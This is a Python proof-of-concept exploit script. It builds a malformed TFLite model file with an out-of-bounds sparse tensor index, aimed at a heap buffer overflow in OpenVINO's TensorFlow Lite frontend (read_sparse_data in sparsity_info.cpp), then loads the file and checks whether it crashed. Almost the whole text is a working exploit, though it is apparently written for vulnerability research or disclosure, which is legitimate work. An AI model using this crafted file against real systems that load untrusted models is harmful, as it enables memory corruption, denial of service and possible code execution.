#!/usr/bin/env python3 """ PoC: OpenVINO TFLite Sparse Tensor OOB Write Vulnerability: In sparsity_info.cpp read_sparse_data(), the indices array values are used to compute write offsets without bounds checking: auto row_offset = (*indices)[idx] * element_size; memcpy(dest + row_offset, values + value_offset, element_size); If an index value exceeds the row dimension size, the write goes out of bounds of the allocated dense buffer. Affected file: src/frontends/tensorflow_lite/src/sparsity_info.cpp Function: read_sparse_data() (line 43-45) Model structure: - Tensor 0: sparse const [2,4] FLOAT32 with sparsity (buffer=1, NOT a subgraph I/O) - Tensor 1: dense output [2,4] FLOAT32 (buffer=0, subgraph output) - Operator: RESHAPE input=[0] output=[1] - Subgraph inputs=[] outputs=[1] The sparse tensor (tensor 0) is only an operator input, so it gets the actual buffer data. Tensor 1 is a subgraph output (gets null buffer but has no sparsity). """ import struct import os import sys import flatbuffers from flatbuffers import builder as fb_builder # TFLite schema constants TENSOR_TYPE_FLOAT32 = 0 DIMENSION_TYPE_DENSE = 0 DIMENSION_TYPE_SPARSE_CSR = 1 SPARSE_INDEX_VECTOR_NONE = 0 SPARSE_INDEX_VECTOR_Int32Vector = 1 BUILTIN_OPERATOR_ADD = 0 def build_malicious_tflite(): B = flatbuffers.Builder(1024) # Step 1: Leaf data (strings, byte vectors) sparse_values = struct.pack('<3f', 1.0, 2.0, 3.0) # 3 non-zero values buf1_data = B.CreateByteVector(sparse_values) tensor0_name = B.CreateString("sparse_const") tensor1_name = B.CreateString("output") subgraph_name = B.CreateString("main") model_desc = B.CreateString("poc_sparse_oob") # Step 2: Int32Vector tables for segments and indices # Segments: [0, 2, 3] - row0 has 2 elements, row1 has 1 element B.StartVector(4, 3, 4) B.PrependInt32(3) B.PrependInt32(2) B.PrependInt32(0) segments_values_vec = B.EndVector() B.StartObject(1) B.PrependUOffsetTRelativeSlot(0, segments_values_vec, 0) segments_table = B.EndObject() # Indices: [1000, 1, 0] — 1000 is OOB! (valid range: 0-3 for dim size 4) # row_offset = 1000 * sizeof(float32) = 4000 bytes past 16-byte row buffer B.StartVector(4, 3, 4) B.PrependInt32(0) B.PrependInt32(1) B.PrependInt32(1000) # MALICIOUS INDEX indices_values_vec = B.EndVector() B.StartObject(1) B.PrependUOffsetTRelativeSlot(0, indices_values_vec, 0) indices_table = B.EndObject() # Step 3: DimensionMetadata tables # DimMeta 0: DENSE, dense_size=2 B.StartObject(6) B.PrependInt8Slot(0, DIMENSION_TYPE_DENSE, 0) B.PrependInt32Slot(1, 2, 0) dim_meta_0 = B.EndObject() # DimMeta 1: SPARSE_CSR with malicious indices B.StartObject(6) B.PrependInt8Slot(0, DIMENSION_TYPE_SPARSE_CSR, 0) B.PrependInt32Slot(1, 0, 0) B.PrependInt8Slot(2, SPARSE_INDEX_VECTOR_Int32Vector, 0) B.PrependUOffsetTRelativeSlot(3, segments_table, 0) B.PrependInt8Slot(4, SPARSE_INDEX_VECTOR_Int32Vector, 0) B.PrependUOffsetTRelativeSlot(5, indices_table, 0) dim_meta_1 = B.EndObject() # Step 4: SparsityParameters B.StartVector(4, 2, 4) B.PrependInt32(1) B.PrependInt32(0) traversal_order_vec = B.EndVector() # block_map: [0] — needed so m_block_map is non-empty (enables densification) # Note: m_disabled check requires m_block_map.size() > 0 # But actually, SparsityInfo created via setters has m_disabled=false by default # because enable() is never called in the setter path. So this is optional. # Adding it anyway for robustness. B.StartVector(4, 1, 4) B.PrependInt32(0) block_map_vec = B.EndVector() B.StartVector(4, 2, 4) B.PrependUOffsetTRelative(dim_meta_1) B.PrependUOffsetTRelative(dim_meta_0) dim_metadata_vec = B.EndVector() B.StartObject(3) B.PrependUOffsetTRelativeSlot(0, traversal_order_vec, 0) B.PrependUOffsetTRelativeSlot(1, block_map_vec, 0) B.PrependUOffsetTRelativeSlot(2, dim_metadata_vec, 0) sparsity_params = B.EndObject() # Step 5: Tensors # Tensor 0: sparse const (operator input only, NOT subgraph I/O) B.StartVector(4, 2, 4) B.PrependInt32(4) B.PrependInt32(2) shape_vec_0 = B.EndVector() B.StartObject(10) B.PrependUOffsetTRelativeSlot(0, shape_vec_0, 0) B.PrependInt8Slot(1, TENSOR_TYPE_FLOAT32, 0) B.PrependUint32Slot(2, 1, 0) # buffer index 1 (has data) B.PrependUOffsetTRelativeSlot(3, tensor0_name, 0) B.PrependUOffsetTRelativeSlot(6, sparsity_params, 0) tensor_0 = B.EndObject() # Tensor 1: dense output (subgraph output, no sparsity) B.StartVector(4, 2, 4) B.PrependInt32(4) B.PrependInt32(2) shape_vec_1 = B.EndVector() B.StartObject(10) B.PrependUOffsetTRelativeSlot(0, shape_vec_1, 0) B.PrependInt8Slot(1, TENSOR_TYPE_FLOAT32, 0) B.PrependUint32Slot(2, 0, 0) # buffer index 0 (empty) B.PrependUOffsetTRelativeSlot(3, tensor1_name, 0) # No sparsity tensor_1 = B.EndObject() # Step 6: Operator (ADD: in=[0, 0], out=[1]) - add sparse tensor to itself B.StartObject(4) B.PrependInt8Slot(0, BUILTIN_OPERATOR_ADD, 0) B.PrependInt32Slot(2, 1, 1) B.PrependInt32Slot(3, BUILTIN_OPERATOR_ADD, 0) op_code = B.EndObject() # AddOptions table: fused_activation_function=NONE(0), pot_scale_int16=true(1) B.StartObject(2) B.PrependInt8Slot(0, 0, 0) # fused_activation_function = NONE B.PrependBoolSlot(1, True, True) # pot_scale_int16 = true (default) add_options = B.EndObject() B.StartVector(4, 2, 4) B.PrependInt32(0) # input tensor 0 (sparse) B.PrependInt32(0) # input tensor 0 again (ADD needs 2 inputs) op_inputs_vec = B.EndVector() B.StartVector(4, 1, 4) B.PrependInt32(1) # output tensor 1 (dense) op_outputs_vec = B.EndVector() # Operator table — slot 3=builtin_options_type(11=AddOptions), slot 4=builtin_options B.StartObject(14) B.PrependUint32Slot(0, 0, 0) B.PrependUOffsetTRelativeSlot(1, op_inputs_vec, 0) B.PrependUOffsetTRelativeSlot(2, op_outputs_vec, 0) B.PrependInt8Slot(3, 11, 0) # builtin_options_type = AddOptions (11) B.PrependUOffsetTRelativeSlot(4, add_options, 0) # builtin_options operator_0 = B.EndObject() # Step 7: SubGraph B.StartVector(4, 2, 4) B.PrependUOffsetTRelative(tensor_1) B.PrependUOffsetTRelative(tensor_0) tensors_vec = B.EndVector() # Subgraph inputs: empty (sparse tensor is a const, not an input) B.StartVector(4, 0, 4) sg_inputs_vec = B.EndVector() # Subgraph outputs: [1] (dense output tensor only) B.StartVector(4, 1, 4) B.PrependInt32(1) sg_outputs_vec = B.EndVector() B.StartVector(4, 1, 4) B.PrependUOffsetTRelative(operator_0) operators_vec = B.EndVector() B.StartObject(6) B.PrependUOffsetTRelativeSlot(0, tensors_vec, 0) B.PrependUOffsetTRelativeSlot(1, sg_inputs_vec, 0) B.PrependUOffsetTRelativeSlot(2, sg_outputs_vec, 0) B.PrependUOffsetTRelativeSlot(3, operators_vec, 0) B.PrependUOffsetTRelativeSlot(4, subgraph_name, 0) subgraph_0 = B.EndObject() # Step 8: Buffers B.StartObject(3) buffer_0 = B.EndObject() B.StartObject(3) B.PrependUOffsetTRelativeSlot(0, buf1_data, 0) buffer_1 = B.EndObject() # Step 9: Model B.StartVector(4, 1, 4) B.PrependUOffsetTRelative(op_code) op_codes_vec = B.EndVector() B.StartVector(4, 1, 4) B.PrependUOffsetTRelative(subgraph_0) subgraphs_vec = B.EndVector() B.StartVector(4, 2, 4) B.PrependUOffsetTRelative(buffer_1) B.PrependUOffsetTRelative(buffer_0) buffers_vec = B.EndVector() B.StartObject(8) B.PrependUint32Slot(0, 3, 0) B.PrependUOffsetTRelativeSlot(1, op_codes_vec, 0) B.PrependUOffsetTRelativeSlot(2, subgraphs_vec, 0) B.PrependUOffsetTRelativeSlot(3, model_desc, 0) B.PrependUOffsetTRelativeSlot(4, buffers_vec, 0) model = B.EndObject() B.Finish(model, b"TFL3") return bytes(B.Output()) def main(): script_dir = os.path.dirname(os.path.abspath(__file__)) output_path = os.path.join(script_dir, "malicious_sparse.tflite") print("[*] Building malicious TFLite flatbuffer with OOB sparse index...") data = build_malicious_tflite() with open(output_path, 'wb') as f: f.write(data) print(f"[+] Written {len(data)} bytes to {output_path}") print(f"[*] Sparse tensor has index=1000 (valid range: 0-3 for dim size 4)") print(f"[*] OOB write: offset 1000*4=4000 in a 16-byte row buffer") # Verify flatbuffer if len(data) >= 8: ident = data[4:8] print(f"[*] File identifier: {ident}") assert ident == b"TFL3", f"Expected TFL3, got {ident}" # Load with OpenVINO print("\n[*] Attempting to load with OpenVINO...") try: import openvino as ov core = ov.Core() print(f" OpenVINO version: {ov.__version__}") try: model = core.read_model(output_path) print(f"[!] Model loaded - OOB write likely occurred during densification!") print(f" Under ASAN, this would show heap-buffer-overflow") except Exception as e: err = str(e) print(f"[!] Result: {err[:200]}") if "139" in err or "segfault" in err.lower() or "signal" in err.lower(): print("[+] CRASH detected!") elif "out of bounds" in err.lower(): print("[+] OOB detected by internal check!") except ImportError: print(" OpenVINO not installed") print(f" Test: python3 -c \"import openvino as ov; ov.Core().read_model('{output_path}')\"") return 0 if __name__ == "__main__": sys.exit(main())